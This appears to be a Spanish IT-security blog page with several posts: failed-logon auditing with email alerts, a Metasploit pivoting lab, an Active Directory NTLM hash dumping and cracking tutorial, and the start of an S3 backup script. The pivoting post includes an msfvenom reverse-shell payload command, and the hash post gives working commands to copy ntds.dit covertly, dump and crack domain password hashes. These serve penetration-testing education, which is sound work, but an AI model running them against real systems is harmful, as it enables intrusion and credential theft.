18 enero, 2020

Auditar inicios de sesión erróneos Id. 4625 y notificarlos vía email

Una forma de auditar los errores de accesos de inicio de sesión o login a un sistema Windows ya sean accesos físicos, en remoto mediante RDP, recursos compartidos CIFS o llamadas a procedimientos remotos RPC como pueden ser el acceso a consolas msc de equipos remotos. Se considerarán inicios de sesión en una máquina Windows.

Este artículo se centrará en la auditoria de todos los accesos erróneos de login a un sistema pero en especial irá enfocado a los intentos de inicios de sesión RDP desde equipos remotos y la notificación de este evento vía un mensaje de correo electrónico de forma automática.

Para ello será necesario habilitar en el equipo la directiva local de auditoria de eventos de inicio de sesión a través de la consola gpedit.msc.
Configuración del equipo > Configuración de Windows > Configuración de seguridad > Directivas locales > Directiva de auditoria > Auditar eventos de inicio de sesión > Habilitar inicios erróneos.
Figura 1: gpedit.msc - Auditar eventos de inicio de sesión erróneos.

Abrimos el visor de eventos (eventvwr.msc), registros de Windows, Seguridad. El evento con Id. 4625 registra las auditorias por inicio de sesión erróneos.

Creamos una tarea programada desde cualquier evento con ese Id. y establecemos un fichero .bat que llamará a otro fichero Powershell .ps1 que será el que realice el envío de email y lo filtre con una consulta para que nos devuelva el último evento registrado. Este punto lo veremos más adelante.

Figura 2: eventvwr.msc - Creación de tarea programada de un evento con un Id. concreto.

En el programador de tareas (taskschd.msc) vemos que se crea una nueva sección para las tareas creadas a través del visor de eventos.

Esta tarea debe ejecutarse con un usuario que forma parte del grupo de administradores locales del sistema ya que para poder consultar un evento de auditoria del tipo de "Seguridad" como es un evento con Id. 4625 es necesario un usuario privilegiado.

Figura 3: taskschd.msc - Tarea programada creada automáticamente a partir del evento de seguridad con Id. 4625.

Comentar que podemos también optar por crear y configurar la tarea programada manualmente. Como desencadenador elegimos iniciar la tarea al producirse un evento del tipo de registro "Seguridad" e indicamos el Id. del evento 4625.

Figura 4: Desencadenador de la tarea programda al producirse un evento del tipo seguridad con Id. 4625.

wevtutil (Windows Event Utility) es la utilidad en línea de comandos que nos mostrará la información de los eventos registrados de Windows.

Para mostrar el último evento registrado del tipo Seguridad con un Id. específico, en este caso 4625. Haremos la siguiente consulta:
wevtutil query-events Security /count:1 /rd:true /format:text /q:"Event[System[(EventID=4625)]]"
La siguiente línea corresponderá al fichero "call-ps1-eventvwr-id_4625.bat" que hará la llamada al fichero Powershell "id_4625.ps1". Este fichero bat será el la acción de la tarea programada.
powershell.exe -file "C:\scripts\envio_emails_eventvwr\id_4625.ps1"
El script Powershell id_4625.ps1 sería el siguiente, modificamos con nuestros valores los campos myEmail, myPassword y pathTempWevtutil será el path en el que se creará un fichero temporal con la salida de la consulta del evento, después se borrará.
$usuarioEmail = "myEmail@gmail.com"
$passwdEmail = "myPassword"
$pathTempWevtutil = "C:\temp\temp_wevtutil"
$secPasswdEmail = ConvertTo-SecureString $passwdEmail -AsPlainText -Force
$credencialesEmail = New-Object System.Management.Automation.PSCredential ($usuarioEmail, $secPasswdEMail)
$asuntoEmail = "ID 4625: Inicio de sesion incorrecto"
$wevtutil = wevtutil query-events Security /count:1 /rd:true /format:text /q:"Event[System[(EventID=4625)]]" | findstr /V "puerto" | findstr "cuenta: trabajo: Direcci" > "$pathTempWevtutil"
$cuerpoEmail = Get-Content "$pathTempWevtutil" -Tail 5 | Out-String

Send-MailMessage -From $usuarioEmail -To $usuarioEmail -Subject "$asuntoEmail" -Body "$cuerpoEmail" -SmtpServer smtp.gmail.com -UseSsl -Credential $credencialesEmail
Remove-Item -Path "$pathTempWevtutil" -Force
exit
Para habilitar el envío de correos SMTP a través de una cuenta con dominio Gmail será necesario habilitar el "Acceso de aplicaciones poco seguras". https://myaccount.google.com/lesssecureapps.

Esto tiene ciertos riesgos de seguridad, aconsejo crear una nueva cuenta de correo específica destinada para este uso y la realización de esta tarea.

En la siguiente captura se muestra un ejemplo del asunto y cuerpo del correo para la notificación de estos eventos. Mostrando el nombre de la cuenta desde la que se intentando iniciar sesión, el dominio o hostname, hacia que dirección IP se inicio sesión (sería la máquina local donde se registra el evento de seguridad) y desde que dirección origen ya sea una dirección IP privada o pública.

Figura 5: Ejemplo de mensaje de correo del evento de seguridad Id. 4625.


Saludos!

07 enero, 2020

Pivoting con Metasploit: route, portfwd y portproxy

En las primeras fases de escaneo para el descubrimiento de un pentesting debemos recopilar la mayor cantidad de información posible sobre las redes internas disponibles en la empresa. Muchas organizaciones dividen sus departamentos o zonas donde se alojan determinadas máquinas en redes locales virtuales (VLANs) en muchos casos los equipos que forman parte de una red tienen configuradas varias interfaces ya sean físicas o lógicas hacia estas otras redes. En este tipo de circunstancias podemos aprovecharnos de esto para pivotar entre equipos de distintas redes y poder encontrar uno o varios equipos ya sean clientes o servidores con posibles vulnerabilidades explotables.

Para poner en práctica estas técnicas realizaremos un taller completo en el que mostraremos dos escenarios muy similares: lab 1 y lab 2, con el fin de que se vea el concepto de pivoting entre máquinas que formen parte de otras redes distintas en las que desde un principio no tendríamos una visibilidad directa hacia ellas desde la máquina en la que realizamos la auditoría del test de intrusión. El nivel de pivoting de estos escenarios será simple, de un solo salto, entre una máquina comprometida a otra. Dependiendo la topología de red de la organización se podría complicar más, con más saltos entre máquinas para ir descubriendo las posibles redes internas existentes, pero la finalidad, el concepto y las técnicas de pivoting seguirían siendo las mismas.

Esquema de red: Lab 1 (route y portfwd)

En el siguiente escenario se mostrará un entorno formado por tres máquinas:
  • Kali: 10.0.0.1/24. (Máquina A)
  • Ubuntu: 10.0.0.10/24 y 11.0.0.1/24. (Máquina B)
  • Linux (Apache http): 11.0.0.10/24. (Máquina C)
Figura 1: Escenario 1 de Pivoting, esquema de redes (route y portfwd).

Adjunto unas capturas simplemente para mostrar de forma más clara el escenario.

La máquina Kali con Metasploit Framework será desde donde realizaremos la intrusión. Tiene dos interfaces de red, una en modo NAT (eth1 simplemente para tener salida a Internet) y eth0 con la IP asignada 10.0.0.1 que forma parte de la red 10.0.0.0/24. Esta máquina no tiene visibilidad directa con la segunda red 11.0.0.0/24.

Figura 2: Configuración de red - Máquina Kali

La máquina Ubuntu tiene dos interfaces la cual tiene visibilidad con la red 10.0.0.0/24 y 11.0.0.0/24 será el pivoting y la segunda máquina Linux con una sola interface con la ip asignada 11.0.0.10 que tendrá visibilidad para la red 11.0.0.0.0/24, esta será una posible máquina vulnerable ya que dispondrá de un servicio web Apache a la que tendremos que intentar llegar desde la máquina Kali.

Figura 3: Configuración de red - Máquinas Ubuntu y Linux.

Establecer una sesión Meterpreter en la máquina Ubuntu (pivoting)

El funcionamiento de los tipos de pivoting dentro de las posibilidades que nos ofrece Metasploit Framework debemos partir de la obtención de una sesión Meterpreter en uno de los equipos de la red, en este caso será el Ubuntu en el cual tiene visibilidad con las dos redes dentro de este laboratorio, esta será la máquina que nos hará de pivoting a las redes que tenga configuradas.

Para este escenario podemos generar con msfvenom un payload en el que su shellcode será un meterpreter linux y ejecutarlo en la máquina remota para obtener dicha sesión.
msfvenom -p Linux/x86/meterpreter/reverse_tcp LHOST:10.0.0.1 LPORT=4444 -f elf  -b '\x00\x0a\x0d' -o payload
-b '\x00\x0a\x0d': (--bad-chars) Parámetro en el que se le puede especificar una lista de caracteres a evitar, de modo que no provoque un posible error en el momento de ejecutar el payload.

Figura 4: Generar payload para obtener una sesión meterpreter en la máquina Ubuntu (pivoting).

Una vez ejecutado el payload en la máquina Ubuntu, vemos como se creó una nueva sesión con un meterpreter de conexión inversa en el puerto 4444 hacia la máquina Kali.

Figura 5: Sesión con meterpreter establecida entre las máquinas Ubuntu y Kali.

Route

Una vez tenemos una sesión establecida con la máquina Ubuntu, iniciamos el meterpreter y una forma de comprobar las redes asociadas es listar las interfaces de red con ipconfig para comprobar si existe alguna dirección IP asignada que forme parte de otro segmento de red distinto. También podríamos ejecutar una shell dentro de meterpreter y consultar la tabla de rutas con el comando route print.

Como vemos se muestra la red 10.0.0.0/24 en la interface 2 y la 11.0.0.0/24 en la interface 3.

Figura 6: Comprobando si existen más redes asociadas en la máquina Ubuntu.

Route es un comando que nos permitirá encaminar tráfico de red dentro de Metasploit, diciéndole que desde cualquier módulo todo el tráfico que queramos llevar hacia otra red lo haga a través del identificador de una sesión establecida que tengamos activa, por ejemplo con un Meterpreter.

Salimos de la sesión de meterpreter y la dejamos en segundo plano saliendo con el comando background. Fuera de meterpreter y sabiendo que la máquina Ubuntu tiene dos redes configuradas, hacemos uso del comando route para añadir la visibilidad de esta nueva red a nivel de Metasploit.
route add <network> <netmask> <session_id>
route add 11.0.0.0 255.255.255.0 1
Con esto le estaremos diciendo que todo el tráfico que se produzca dentro de Metasploit con destino a la red 11.0.0.0/24 lo enrute a través de la sesión con ID 1 donde está el meterpreter. Con route print dentro de Metasploit podemos ver las rutas asignadas y con route -h veremos la ayuda completa.

Figura 7: Añadiendo nuevas rutas con route en Metasploit.

De esta forma ya podremos pivotar a través de la máquina Ubuntu a la red 11.0.0.0/24 realizando un escaneo completo hacia esa red.

En el siguiente ejemplo y para ahorrar tiempo en esta demo delimitaremos un pool de direcciones IP de la red 11.0.0.0/24 comprobando únicamente el puerto 80. Vemos que encontramos una dirección 10.0.0.10 que tiene el puerto 80 abierto.

En un descubrimiento habitual podríamos usar el módulo "auxiliary/scanner/discovery/arp_sweep" para encontrar hosts activos en la red local a través de solicitudes arp y también "auxiliary/scanner/portscan/ack" para comprobar que puertos se están filtrado.

Figura 8: Pivotando para descubrir nuevos hosts y puertos de otra red a través de Metasploit.

Con lo anterior ya se demostró que podemos realizar un sondeo y tener acceso a redes pivotando a través de la máquina Ubuntu donde tenemos la sesión meterpreter hacia una máquina Linux con la ip 11.0.0.10.

Ya hemos descubierto que el puerto 80 está abierto por lo que es probable que se trate de un servicio web, podemos ahora comprobar la versión de ese servicio http a través del módulo "auxiliary/scanner/http/http_version". A partir de ahí podríamos buscar en Internet si existe alguna vulnerabilidad conocida y explotable para versión y continuar el test de intrusión.

Figura 9: Reconocimiento de versión de servicios web.

Autoroute (Módulo post)

Otra forma de establecer rutas es hacerlo de forma automática. Una vez que tenemos una sesión establecida podemos hacer uso del módulo "post/multi/manage/autoroute", establecemos el ID de sesión y lo ejecutamos.

Esto hará un barrido en el equipo donde tenemos establecida la sesión para intentar reconocer otras redes asociadas a esa máquina y las agregará automáticamente a nuestra tabla de rutas de Metasploit. Es lo mismo que lo comentado anteriormente pero de forma automática sin necesidad de consultar manualmente a través de meterpreter las tablas de rutas asociadas a la máquina comprometida.

Figura 10: Usando el módulo de Autoroute para agregar rutas automáticamente en Metasploit.

portfwd (Port Forwarding)

portfwd realiza un reenvío de puertos -port forwarding- entre máquinas. Podemos canalizar todo el tráfico que enviamos a un puerto local a la escucha de nuestra máquina A a un puerto e IP de una máquina C en la que no tenemos a priori conectividad, configurando esta IP y puerto de reenvío en una máquina B en la que si tenemos una conectividad directa.

Una ventaja de esto es que todas las peticiones que hagamos al puerto local de la máquina A esta las reenviará a la máquina C pasando por la máquina B, si analizamos el tráfico desde la máquina C veremos que esas peticiones llegan desde la máquina B y no desde la máquina A que inicialmente origina las peticiones. Como esto en un primer momento puede resultar un poco confuso mostraremos un ejemplo.

Basándonos en el mismo escenario visito hasta ahora lab 1. Desde la máquina Kali (máquina A) nos intentamos conectar a la máquina Linux al puerto 22 (máquina C), que sabemos que está abierto, y vemos que no podemos conectarnos directamente ya que desde la máquina Kali no tenemos visibilidad hacia la red 11.0.0.0/24.

Sin embargo desde la sesión 1 donde tenemos nuestro meterpreter de la máquina Ubuntu (máquina B) esta si tiene visibilidad con la red 11.0.0.0/24 donde está máquina Linux (máquina C).

Desde el meterpreter de la sesión 1 agregamos una nueva regla de reenvío de puertos.
portfwd add -l <local_port> -p <remote_port> -r <remote_host>
portfwd add -l 9500 -p 22 -r 11.0.0.10
Con esto indicamos que todas las peticiones que hagamos al puerto local de la máquina A Kali sen reenviadas al puerto 22 de la ip 11.0.0.10 que será la máquina C Linux. Siendo la máquina B Ubuntu quien haga el reenvío de puertos entre la máquina A y C. De ahí que todo el tráfico que llegue a la máquina C Linux es como si lo realizase la máquina B Ubuntu cuando en realidad lo envía la máquina A Kali.

Comprobando nuevamente el intento de conexión vemos como ahora desde Metasploit Framework como desde la propia máquina local Kali podemos llegar a la máquina C Linux estableciendo una conexión localhost hacia le puerto local a la escucha.

Si listamos los puertos a la escucha de la máquina local vemos como fuera del MSF tenemos el puerto 9500 a la escucha. Esto puede ser útil en los casos en los que necesitemos utilizar servicios web u otras herramientas fuera de Metasploit para poder escanear, vulnerar o realizar acciones hacia una máquina remota en la que no tendríamos un acceso directo pero si conocemos su IP y puerto y tenemos una máquina que usaremos de pivoting en medio de la comunicación para realizar los reenvíos de puertos. Tener en cuenta que podemos agregar más de una regla port forwarding.

Figura 11: portfwd - Uso de port forwarding fuera de Metasploit, usando una sesión meterpreter para reenvío de peticiones.

La forma de usar módulos dentro de Metasploit con reglas configuradas de reenvío de puertos es solamente por medio de conexiones locales (ip y puerto local).

En el siguiente ejemplo se muestran dos reglas port forwarding establecidas en la sesión 1 (máquina B Ubuntu), la segunda regla indica que las peticiones que se realicen hacia el puerto 9000 desde cualquier interface de la máquina Kali A se reenvíen a través de la sesión 2 (máquina B Ubuntu) hacia la IP destino 11.0.0.10 puerto 80 que será la máquina C Linux.

RHOST: será la dirección local de la máquina A Kali, ip 127.0.0.1 (y no la ip 11.0.0.10 de la máquina destino C Linux).
PORTS: será el puerto local a la escucha en la máquina A Kali, puerto 9000 (y no el puerto 80 de la máquina destino C Linux).

Vemos como nos indica que el puerto 9000 de la ip 127.0.0.1 está Open. Esto significa que la regla de reenvío funcionó y que realmente esa IP/Puerto local corresponderían a la IP/Puerto destino configurado en la regla del portfwd.

Fuera de Metasploit podemos consultar los puertos a la escucha con netstat y comprobar que tanto el puerto 9500, visto en el ejemplo anterior, como el puerto 9000 están a la escucha por un proceso ruby que sería Metasploit.

Figura 12: portfwd - Usando port forwarding a través de módulos en Metasploit.

¿Diferencias entre route y portfwd en Metasploit?

Route y Autoroute
  • Es necesario tener una sesión establecida.
  • Agrega direcciones de red completas indicando su notación CIDR.
  • Las tablas de rutas solo se agregan a nivel funcional de Metasploit Framework.
  • Dentro de Metasploit se pueden usar todos los módulos de forma directa hacia las redes agregadas.
  • Con el módulo post Autorute se pueden descubrir y agregar rutas de red de forma automática de una sesión previamente establecida.
portfwd
  • Es necesario tener una sesión establecida.
  • No pueden agregar direcciones completas de red, solo se crean reglas de port forwarding hacía una IP/Puerto específico.
  • Se pueden usar otras herramientas fuera de Metasploit a nivel local de la propia máquina Kali IP/Puerto locales estarán a la escucha.
  • Dentro de Metasploit se pueden usar módulos hacia la IP/Puerto de la regla creada, la IP/Puerto será interpretado de forma local desde la propia máquina Kali.

PortProxy (Windows)

El uso del módulo post PortProxy de Metasploit en el que podemos realizar un port forwarding dirigido a una máquina y puerto remoto concretos pero esta vez a nivel de máquinas Windows. El funcionamiento es muy similar al comando portfwd de Metasploit.

Este módulo hace uso del comando netsh con el parámetro portproxy, para usar este comando es necesario que el usuario tenga privilegios administrativos sobre el sistema. Más info: https://www.zonasystem.com/2019/02/netsh-portproxy-port-forwarding-local-windows.html.

Esquema de red: Lab 2 (PortProxy)

Similar al ejemplo del lab 1, en el siguiente escenario se mostrará un entorno formado por tres máquinas:
  • Kali: 10.0.0.1/24. (Máquina A)
  • Windows 7: 10.0.0.7/24 y 11.0.0.7/24. (Máquina B)
  • Windows 10: 11.0.0.10/24. (Máquina C)
Figura 13: Escenario 2 de Pivoting, esquema de redes (portproxy).

Para el uso de este módulo será necesario establecer una sesión Meterpreter y tener privilegios de SYSTEM sobre esa sesión en una máquina Windows que tenga acceso a otras redes fuera de Metasploit (máquina B Windows 7). Listaremos las redes disponibles consultando la tabla de rutas de la máquina en la que tenemos establecida la sesión con el comando route o también con ipconfig.

Figura 14: Listando tabla de rutas de red disponibles en una máquina Windows dentro de una sesión Meterpreter.

En la máquina B Windows 10 vemos que pertenece a la red 11.0.0.0/24 y ofrece un servicio web por el puerto 80.

Figura 15: Configuración de red y servicio web disponible en la máquina B (Windows 10).

Desde la máquina B en la cual tenemos un sesión Meterpreter establecida configuramos el módulo portproxy para esa sesión.
use post/windows/manage/portproxy
  • CONNECT_ADDRESS: IP remota de la máquina C a la que queremos acceder desde la máquina B.
  • CONNECT_PORT: Puerto remoto de la máquina C al que queremos acceder desde la máquina B.
  • LOCAL_ADDRESS: IP local de la máquina B (0.0.0.0 sería válido para cualquier interface local, desde la cual tenemos acceso por red desde la máquina A) y que esta reenviará a la máquina C.
  • LOCAL_PORT: Puerto local de la máquina B desde el cual se hará la petición a la máquina C. Desde la máquina A haremos la petición al IP/Puerto de la máquina B en la cual si tenemos acceso.
Una vez configurado el módulo lo lanzamos y comprobamos que en este caso consultando la IP en la que si tenemos acceso a la B máquina 10.0.0.7 hacia el puerto 4441 nos devuelve la web de la maquina C.

Desde la máquina C las peticiones de red hacia este servicio web se visualizan como si las realizase la máquina B y no la máquina A que es realmente desde donde lanzamos inicialmente la petición.

Figura 16: Uso del módulo portproxy para sesiones Windows en Metasploit.

De forma subyacente lo que hace este módulo es incluir esta regla de reenvío en la máquina B que es la que hará pivoting a la máquina C desde las peticiones que reciba desde la máquina A.

Podemos comprobarlo listando las reglas y un ejemplo de la parametrización de reenvío sería algo como:
netsh interface portproxy show all

netsh interface portproxy add <tipo_de_forwading> listenaddress=<ip_local_escucha> listenport=<puerto_local_escucha> connectaddress=<ip_remota> connectport=<puerto_remoto>  

netsh interface portproxy add v4tov4 listenaddress=11.0.0.10 listenport=80 connectaddress=0.0.0.0 connectport=4441

Mismo ejemplo con: portfwd

Podemos comprobar también el mismo efecto usando el comando portfwd interno de Meterpreter estableciéndolo en la sesión de la máquina B como vimos anteriormente en el Lab 1.

Al tratarse de una regla a nivel de la máquina A, reenviando la petición por la sesión de Metasploit que corresponde a la máquina B la consulta sería desde localhost de la máquina A al puerto que estableciésemos en este caso el 9001.

Figura 17: Ejemplo Lab 2 con portfwd.

Mismo ejemplo con: route

Comprobamos el mismo uso con route. El cual lo podríamos usar para realizar fingerprinting a la máquina C a través de módulos tipo scanner.

Añadimos la ruta de red desde Metasploit (máquina A) y esta se encaminará a través de la sesión de la máquina B. Realizamos por ejemplo un escaneo de puertos abiertos y comprobación de versión del servicio web.

Figura 18: Ejemplo Lab 2 con route.

Saludos!

16 noviembre, 2019

Passwords cracking de hashes NTLM ntds.dit de Active Directory

Antes de empezar con la parte práctica de password cracking en sistemas Windows, es recomendable un breve resumen sobre las diferencias entre los tipos de hashes de contraseñas (LM, NTHash o NTLM, NTLMv1, NTLMv2) que almacena Windows en su base de datos local SAM (Security Account Manager) o NTDS.DIT (NT Directory Services) si se trata de controladores de dominio de Active Directory.

LM Hash (Lan Manager)

Usado en sistemas Windows 2000/2003 aunque por compatiblidad pueden ser usados en versiones posteriores de Windows. LM es débil e inseguro por diseño, teniendo en cuenta la velocidad de computo de los sistemas actuales, son capaces de probar cientos de miles de contraseñas por segundo por lo que su cifrado lo hace totalmente vulnerable en ataques de fuerza bruta.

Su algoritmo convierte todo de minúsculas a mayúsculas haciendo así un ataque enfocado a este tipo de caracteres, reduciendo las posibles combinaciones y el tiempo de cálculo.

Si la contraseña es inferior a 7 caracteres se rellena con caracteres NULOS.

Si la contraseña tiene más de 7 caracteres se divide en dos bloques, en el supuesto de utilizar una contraseña de 10 caracteres el ataque de fuerza bruta se realizará para un primer bloque de 7 y otro para un segundo bloque de 3, si se utilizara una contraseña de 14 caracteres en vez de elevar exponencialmente el tiempo de ataque, simplemente se tardaría el doble de tiempo, por lo que daría igual usar una contraseña con una de 7 caracteres como de 14 que sería la longitud máxima soportada para LM.

Ejemplo de LM Hash: 35ABD1B8C5128FC8

Más información sobre LM Hash (Lan Manager):

NT Hash o NTLM (New Technology Lan Manager)

A partir de sistemas Windows 2008/Vista se usa por defecto NTLM (aunque por compatibilidad se puede seguir haciendo uso de LM).

NTLM Es la mejora de cifrado respecto a LM. NTLM diferencia entre mayúsculas y minúsculas, calcula el hash cifrando con el estándar MD4. Pero por defecto sigue almacenando las contraseñas cifradas en LM y NTLM en la misma base de datos del fichero SAM  que se encuentra en el path "C:\Windows\System32\config\SAM".

Ejemplo de NT Hash (NTLM): 4B6A9B02C6F09P9BD265F388BA951E2B

Actualmente existen varias versiones mejoradas del protocolo de autenticación desafío-respuesta. NTLMv1 y NTLMv2https://en.wikipedia.org/wiki/NT_LAN_Manager#NTLMv1

1. Extraer los ficheros ntds.dit y SYSTEM de un controlador de dominio

Después de una post-explotación, conseguir acceso a un sistema y una escalada de privilegios. Podemos realizar un dump de los hashes NTLM a partir del fichero ntds.dit. Este fichero es la base datos encargada de almacenar los hashes de las contraseñas de usuarios de Active Directory.

El primer paso para la extracción de hashes de contraseñas de usuarios de Active Directoy, es obtener una copia del archivo ntds.dit. El problema es que no podemos copiar este fichero sin más, ya que está constantemente en uso y bloqueado por AD.

Figura 1: Error al copiar el archivo en uso ntds.dit de un controlador de dominio.
Para copiar el fichero ntds.dit podemos usar uno de estos dos métodos.
  • Usar Volume Shadow Copies a través del comando VSSAdmin.
  • Usar el cmdlet Invoke-NinjaCopy del módulo PowerSploit.

Método 1: Servicio VSS - Volume Shadow Copy: Usando el comando VSSAdmin 

El servicio VSS (Volume Shadow Copy) o servicio de instantáneas de volumen de Windows es el encargado de crear backups a modo de instantáneas temporales. Se puede usar el comando vssadmin para la gestión de este servicio de instantáneas. De modo que después se puedan copiar de un volumen de instantánea en el que no estará constantemente en uso por AD.

Crear un volumen de instantánea del disco C:
vssadmin create shadow /for=C:
copy <Nombre_Volumen_Instantanea>\Windows\System32\config\SYSTEM C:\export\SYSTEM
copy <Nombre_Volumen_Instantanea>\Windows\NTDS\ntds.dit C:\export\ntds.dit
Eliminar el volumen de la instantánea del disco C:
vssadmin list shadows
vssadmin delete shadows /shadow={Id_Instantanea}
Figura 2: Copiar los ficheros en uso ntds.dit y SYSTEM con VSSAdmin de un controlador de dominio.

Método 2: Módulo PowerSploit: Usando el cmdlet Invoke-NinjaCopy

Otra forma de copiar archivos en uso por el sistema o en este caso Active Directory es usar el cmdlet Invoke-NinjaCopy incluido en el módulo PowerSploit, este copia un archivo de un volumen NTFS sin procesar, es otra ofrma de copiar archivos bloqueados por Active Directory sin alertar a ningún sistema de monitoreo.

Instalar el módulo PowerSploit:
  • Descargamos el módulo
  • Copiamos el directorio en una de las rutas por defecto donde se almacenan los módulos de PowerShell. Podemos consultar los paths listando la variable de entorno: $Env:PSModulePath.
  • Importamos el módulo: Import-Module PowerSploit.
  • Para obtener todos los cmdlets disponibles: Get-Command -Module PowerSploit.
Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\export\ntds\ntds.dit
Figura 3: Copiar el fichero ntds.dit con Invoke-NinjaCopy de un controlador de dominio.

2. Volcado de hashes NTLM del fichero ntds.dit

Podemos volcar los hashes NTLM del fichero ntds.dit de dos formas:

Método 1: Módulo DSInternals - Usando los cmdlets Get-BootKey y Get-ADDBAccount

Instalar módulo DSInternals.
Install-Module -Name DSInternals -Force
Import-Module -Name DSInternals
Import-Module -Name ActiveDirectory
Get-BootKey lee la clave de registro de Windows del sistema de arranque SYSTEM del registro de Windows "HKEY_LOCAL_MACHINE\SYSTEM" o también puede hacerse referenciando el propio fichero SYSTEM "%systemroot%\System32\config\SYSTEM".

Podemos exportar la clave de registro o copiar el fichero SYSTEM a un directorio en el que no esté en uso con alguna de las técnicas mencionadas anteriormente en el apartado 1.

Para poder volcar los hashes NTLM de los usuarios de AD y leerlos en plain-text del fichero ntds.dit. Obtenemos la clave de registro SYSTEM con Get-BootKey y se la pasamos con el parámetro -BooKey en Get-ADDBAccount.
reg save hklm\system C:\export\system
$key = Get-BootKey -SystemHiveFilePath C:\export\system
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit
Es probable que al intentar leer el fichero ntds.dit se muestre el error "The database is not in a clean state". Hacemos uso de la utilidad de comandos esentutl para reparar la base de datos de Active Directory.
esentutl /p C:\export\ntds.dit /!10240 /8 /o
A continuación volvemos a ejecutar Get-ADDBAccount.

Figura 4: Get-ADDBAccount - Obtener información de las cuentas de usuarios de AD.
Podemos simplificar la información de salida de las cuentas de usuarios de AD redireccionándola a un fichero y obtener los hashes de contraseñas asociados a los nombres de las cuentas de AD que se corresponde al atributo -SamAccountName-.
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit > C:\export\hashes_tmp.txt
Select-String -Path C:\export\hashes_tmp.txt -Pattern '(NTHash)|(SamAccountName:)' > C:\export\hashes.txt
Remove-Item C:\export\hashes_tmp.txt
Figura 5: Recopilación de hashes NTLM del fichero ntds.dit de las cuentas de usuarios de AD.

Método 2: Kali - Impacket-secretsdump (script en Python -secretsdump.py-)

Otra forma de realizar el volcado de hashes NTLM del fichero ntds.dit es usar un script en Python llamado secretsdump.py. Este se integra en uno de los módulos auxiliary de escaneo Impacket-secretsdump de Metasploit.

En este caso al usar el fichero de ntds.dit de forma local ejecutamos Impacket-secretsdump desde el path "/usr/share/impacket" en una terminal de Kali.
impacket-secretsdump -system /root/hashes/SYSTEM -ntds /root/hashes/ntds.dit LOCAL -outputfile /root/hashes/hashes.txt
Figura 6: Volcado de hashes NTLM del fichero ntds.dit con Impacket-secretsdump. 

3. Hashcat: Descifrado de hashes NTLM para obtener las contraseñas de usuarios de AD

Podemos descifrar hashes utilizando tres posibles técnicas.
  1. Ataque por fuerza bruta (Brute-force attack).
  2. Ataque por diccionarios o Wordlist.
  3. Ataque por tablas arcoíris (Rainbow tables).
En este caso como prueba de concepto se empleará un ataque por diccionario usando la herramienta Hashcat integrada en Kali (/usr/share/hashcat).

Una vez redireccionamos la salida de los hashes a un fichero solamente quedaría descifrar dichos hashes para obtener el valor de cadena en plain-text de las contraseñas de cuentas de usuarios de AD.
hashcat -m 1000 /root/hashes/hashes.txt /root/breachcompilation.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force
Donde "breachcompilation.txt" es el diccionario -fichero que contiene el wordlist- e "InsidePro-PasswordsPro.rule" será el tipo de regla utilizada para el proceso de password cracking.

En la siguiente captura vemos como se muestra el hash:contraseña. De esta manera podemos relacionar el hash con el usuario al que se corresponde a través del fichero que se creo en el apartado 2 donde se mostraba el volcado de hashes NTLM.

La estructura estándar sería al como:
<Nombre de usuario>:<ID de usuario>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
Figura 7: Ataque por diccionario con Hashcat - Password cracking de hashes NTLM de Active Directory.

4. Comprobar hashes NTLM ya son conocidos en bases de datos de internet

Otra forma de realizar el cracking password una vez conocemos los hashes NTLM. Sería consultar a través de varios sitios web disponibles en internet si el hash que tienen en las wordlist de estas webs hace match con el que se le referencia, si así directamente nos dará como resultado la cadena de password encontrada.

Existen multitud de webs para realizar estas comprobaciones como por ejemplo:
Figura 8: Descifrar hashes NTLM comparándolos con hashes ya conocidos en sitios webs.

5. Comprueba si ya existe el hash de tu contraseña antes de usarla

Un motivo a tener en cuenta en el momento de crear contraseñas, es comprobar si el hash de la contraseña que utilizamos o vamos utilizar ya es conocido y está público en internet. Si ya existe en alguna wordlist de los sitios webs comentados en el apartado 4. Obviamente podemos realizar esta comprobación en más sitios, las webs anteriores solo fueron un ejemplo.

Algo que nos puede dar un poco más de confianza en la fortificación de nuestras passwords, sería comprobarlas previamente generando el hash NTLM a partir de tu contraseña. Lógicamente es un pequeño extra de seguridad, no lo hace ni mucho menos más seguro. Simplemente demorarías el tiempo de un ataque por diccionario a un atacante y la facilidad de obtener una contraseña.

Algunas webs que podemos usar para la generación de hashes NTLM:
Figura 9: Generar hashes NTLM a partir de una contraseña.

Saludos!

28 septiembre, 2019

Backups: Sincronizar datos locales a un bucket de Amazon S3 usando AWSCLI en PowerShell y Bash

Hace tiempo que vengo usando este método de realizar mis backups personales, aunque siendo correctos, por definición no se trata realmente del concepto de "Backups" sino de un sistema sincronizado. Si usando el mismo método almacenara copias durante un periodo de tiempo determinado con una autoeliminación de los backups más viejos es decir, una política de retención. En ese caso si estaríamos aplicando el concepto de backups.

Esta es una forma sincronizar datos en dos sitios o ubicaciones distintas. Por un lado tenemos los datos locales que queremos salvaguardar y por otro un sitio cloud donde realizaremos la sincronización de dichos datos en un momento programado y definido previamente para que se realice después de manera automática.

Se trata de un script que realiza un push de los datos locales a una ubicación remota en Amazon S3 usando un almacenamiento en un bucket. El script lo he desarrollado tanto para PowerShell como para Bash scripting, de forma que se pueda utilizar en sistemas Windows, Linux o MacOS.

Bash Shell Script
  1. Instalación y configuración de AWSCLI Linux
  2. Modificación de variables del bash script backup-aws-S3.sh
  3. Instalación y configuración de SSMTP
  4. Desactivar alertas automáticas de cron y programar tarea para la ejecución de un script sh
  5. Envío del fichero de log a una cuenta Gmail
PowerShell
  1. Instalación y configuración de AWSCLI Windows
  2. Modificación de variables del PowerShell script backup-aws-S3.ps1
  3. Definir sintaxis de directorios
  4. Envío del fichero de log a una cuenta Gmail
  5. Llamada a fichero PowerShell .ps1 desde un fichero de proceso por lotes .bat
En mi repositorio de Gihub comento en más detalle el procedimiento a seguir.
Figura 1: Envío de logs al email de los backups en AWS en un bucket S3.

PowerShell (Windows)

# Fecha y Hora
$fechaHoraActual = Get-Date -uformat "%d/%m/%Y - %H:%M:%S"
$fechaActual = Get-Date -uformat "%d-%m-%Y"

# Email
$usuarioEmail = "usuarioEmail@gmail.com"
$passwdEmail = "passwdEmail"
$asuntoEmail = "asuntoEmail"

# Convertir password a un string seguro
$secPasswdEmail = ConvertTo-SecureString $passwdEmail -AsPlainText -Force
$credencialesEmail = New-Object System.Management.Automation.PSCredential ($usuarioEmail, $secPasswdEMail)

# Paths
